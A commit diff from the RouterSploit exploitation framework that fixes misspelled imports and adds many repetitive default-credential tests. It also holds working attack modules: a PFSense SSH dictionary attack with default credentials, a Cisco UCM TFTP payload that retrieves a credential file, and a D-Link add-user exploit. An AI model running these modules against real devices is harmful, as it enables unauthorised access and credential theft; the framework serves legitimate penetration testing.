Fixing spelling (#429)

routersploit/core/exploit/utils.py

@@ -94,10 +94,7 @@ def iter_modules(modules_directory=MODULES_DIR):
     modules = index_modules(modules_directory)
     modules = map(lambda x: "".join(["routersploit.modules.", x]), modules)
     for path in modules:
-        try:
-            yield import_exploit(path)
-        except RoutersploitException:
-            pass
+        yield import_exploit(path)
 
 
 def pythonize_path(path):

routersploit/modules/creds/cameras/arecont/ftp_default_creds.py

 from routersploit.core.exploit import *
-from routersploit.modules.creds.generic.gtp_default import Exploit as FTPDefault
+from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
 
 
 class Exploit(FTPDefault):

routersploit/modules/creds/cameras/avigilon/ftp_default_creds.py

-from routersploit.core.expxloit import *
+from routersploit.core.exploit import *
 from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
 
 

routersploit/modules/creds/cameras/geovision/ssh_default_creds.py

 from routersploit.core.exploit import *
-from routersploit.modules.creds.generic.ssh_Default import Exploit as SSHDefault
+from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
 
 
 class Exploit(SSHDefault):

routersploit/modules/creds/routers/bhu/ssh_default_creds.py

 from routersploit.core.exploit import *
-from routersploit.modules.creds.genrric.ssh_default import Exploit as SSHDefault
+from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
 
 
 class Exploit(SSHDefault):

routersploit/modules/creds/routers/movistar/ftp_default_creds.py

-from rotersploit.core.exploit import *
+from routersploit.core.exploit import *
 from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
 
 

routersploit/modules/creds/routers/movistar/ssh_default_creds.py

-from rotersploit.core.exploit import *
+from routersploit.core.exploit import *
 from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault 
 
 

routersploit/modules/creds/routers/pfsense/ftp_default_creds.py

-from routersploit.core.exploit import *
-from routrsploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
-
-
-class Exploit(SSHDefault):
-    __info__ = {
-        "name": "PFSense Router SSH Creds",
-        "description": "Module performs dictionary attack against PFSense Router SSH service. "
-                       "If valid credentials are found, they are displayed to the user.",
-        "authors": (
-            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
-        ),
-        "devices": (
-            "PFSense Router",
-        ),
-    }
-
-    target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
-    port = OptPort(80, "Target HTTP port")
-
-    threads = OptInteger(1, "Number of threads")
-    defaults = OptWordlist("admin:pfsense", "User:Pass or file with default credentials (file://)")

routersploit/modules/creds/routers/pfsense/ssh_default_creds.py

+from routersploit.core.exploit import *
+from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
+
+
+class Exploit(SSHDefault):
+    __info__ = {
+        "name": "PFSense Router SSH Creds",
+        "description": "Module performs dictionary attack against PFSense Router SSH service. "
+                       "If valid credentials are found, they are displayed to the user.",
+        "authors": (
+            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
+        ),
+        "devices": (
+            "PFSense Router",
+        ),
+    }
+
+    target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
+    port = OptPort(22, "Target HTTP port")
+
+    threads = OptInteger(1, "Number of threads")
+    defaults = OptWordlist("admin:pfsense", "User:Pass or file with default credentials (file://)")

routersploit/modules/creds/routers/tplink/ftp_default_creds.py

-from routerpsloit.core.exploit import *
+from routersploit.core.exploit import *
 from routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault
 
 

routersploit/modules/creds/routers/tplink/ssh_default_creds.py

-from routerpsloit.core.exploit import *
+from routersploit.core.exploit import *
 from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault 
 
 

routersploit/modules/exploits/routers/2wire/gateway_auth_bypass.py

 from routersploit.core.exploit import *
-from routrsploit.core.http.http_client import HTTPClient
+from routersploit.core.http.http_client import HTTPClient
 
 
 class Exploit(HTTPClient):

routersploit/modules/exploits/routers/cisco/ucm_info_disclosure.py

 from routersploit.core.exploit import *
-from routersploit.core.tcp.udp_client import UDPClient
+from routersploit.core.udp.udp_client import UDPClient
 
 
 class Exploit(UDPClient):
@@ -21,24 +21,19 @@ class Exploit(UDPClient):
     }
 
     target = OptIP("", "Target IPv4 or IPv6 address")
+    port = OptPort(69, "Target port")
 
     def __init__(self):
         self.payload = b'\x00\x01' + b'SPDefault.cnf.xml' + b'\x00' + b'netascii' + b'\x00'
 
     def run(self):
-        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-        sock.settimeout(10)
-
         print_status("Sending payload")
-        sock.sendto(self.payload, (self.target, 69))
+        udp_client = self.udp_create()
+        self.udp_send(udp_client, self.payload)
 
-        try:
-            response = sock.recv(2048)
-        except:
-            print_error("Exploit failed - device seems to be not vulnerable")
-            return
+        response = self.udp_recv(udp_client, 2048)
 
-        if len(response):
+        if response and len(response):
             if "UseUserCredential" in response:
                 print_success("Exploit success - file {}".format("SPDefault.cnf.xml"))
                 print_info(response)
@@ -49,16 +44,12 @@ class Exploit(UDPClient):
 
     @mute
     def check(self):
-        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-        sock.settimeout(10)
-        sock.sendto(self.payload, (self.target, 69))
+        udp_client = self.udp_create()
+        self.udp_send(udp_client, self.payload)
 
-        try:
-            response = sock.recv(2048)
-        except:
-            return False  # target is not vulnerable
+        response = self.udp_recv(udp_client, 2048)
 
-        if len(response) and "UseUserCredential" in response:
+        if response and len(response) and "UseUserCredential" in response:
             return True  # target is vulnerable
 
         return False  # target is not vulnerable

routersploit/modules/exploits/routers/dlink/dgs_1510_add_user.py

 import re
 import gzip
 import zlib
-from StringIO import StringIO
+from io import StringIO
 from routersploit.core.exploit import *
 from routersploit.core.http.http_client import HTTPClient
 
@@ -51,10 +51,10 @@ class Exploit(HTTPClient):
             inflated += decompress.flush()
             ret = inflated
 
-        return ret.replace("\n", "")
+        return ret.replace(b"\n", b"")
 
     def extract_users(self, content):
-        m_groups = re.match(r'(.*)UserInfo.=.([^;]*)(.*)', content, re.I | re.M)
+        m_groups = re.match(b'(.*)UserInfo.=.([^;]*)(.*)', content, re.I | re.M)
         return m_groups
 
     def run(self):

routersploit/modules/exploits/routers/ipfire/ipfire_oinkcode_rce.py

 import re
 from routersploit.core.exploit import *
-from routerpsloit.core.http.http_client import HTTPClient
+from routersploit.core.http.http_client import HTTPClient
 
 
 class Exploit(HTTPClient):

tests/creds/cameras/acti/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.acti.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/acti/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.acti.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/american_dynamics/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.american_dynamics.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/american_dynamics/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.american_dynamics.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/arecont/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.arecont.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/arecont/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.arecont.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/avigilon/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.avigilon.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/avigilon/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.avigilon.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/avtech/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.avtech.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/avtech/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.avtech.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/axis/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.axis.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/axis/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.axis.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/basler/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.basler.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/basler/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.basler.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/brickcom/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.brickcom.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/brickcom/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.brickcom.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/canon/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.canon.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/canon/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.canon.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/cisco/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.cisco.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/cisco/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.cisco.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/dlink/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.dlink.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/dlink/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.dlink.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/geovision/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.geovision.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/geovision/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.geovision.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/grandstream/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.grandstream.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/grandstream/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.grandstream.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/hikvision/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.hikvision.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/hikvision/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.hikvision.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/honeywell/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.honeywell.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/honeywell/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.honeywell.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/iqinvision/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.iqinvision.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/iqinvision/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.iqinvision.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/jvc/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.jvc.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/jvc/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.jvc.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/mobotix/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.mobotix.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/mobotix/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.mobotix.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/samsung/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.samsung.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/samsung/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.samsung.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/sentry360/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.sentry360.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/sentry360/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.sentry360.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/siemens/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.siemens.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/siemens/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.siemens.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/speco/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.speco.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/speco/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.speco.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/stardot/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.stardot.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/stardot/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.stardot.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/vacron/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.vacron.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/vacron/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.vacron.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/videoiq/test_ftp_default_creds.py

+from routersploit.modules.creds.cameras.videoiq.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/cameras/videoiq/test_ssh_default_creds.py

+from routersploit.modules.creds.cameras.videoiq.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/generic/test_ftp_bruteforce.py

+from routersploit.modules.creds.generic.ftp_bruteforce import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/generic/test_ftp_default.py

+from routersploit.modules.creds.generic.ftp_default import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/generic/test_ssh_bruteforce.py

+from routersploit.modules.creds.generic.ssh_bruteforce import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/generic/test_ssh_default.py

+from routersploit.modules.creds.generic.ssh_default import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/generic/test_telnet_bruteforce.py

+from routersploit.modules.creds.generic.telnet_bruteforce import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - successful check """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is True
+    assert exploit.check_default() is not None
+    assert exploit.run() is None

tests/creds/generic/test_telnet_default.py

+from routersploit.modules.creds.generic.telnet_bruteforce import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - successful check """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is True
+    assert exploit.check_default() is not None
+    assert exploit.run() is None

tests/creds/routers/asmax/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.asmax.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/asmax/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.asmax.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/asus/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.asus.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/asus/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.asus.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/belkin/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.belkin.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/belkin/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.belkin.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/bhu/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.bhu.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/bhu/test_ssh_default_creds.py

+from routersploit.modules.creds.routers.bhu.ssh_default_creds import Exploit
+
+
+def test_check_success(target):
+    """ Test scenario - testing against HTTP server """
+
+    exploit = Exploit()
+    exploit.target = target.host
+    exploit.port = target.port
+
+    assert exploit.check() is False
+    assert exploit.check_default() is None
+    assert exploit.run() is None

tests/creds/routers/billion/test_ftp_default_creds.py

+from routersploit.modules.creds.routers.billion.ftp_default_creds import Exploit
+
+
+def test_check_success(generic_target):
+    """ Test scenario - testing against Telnet server """
+
+    exploit = Exploit()
+    exploit.target = generic_target.host
+    exploit.port = generic_target.port
+
+    assert exploit.check() is False
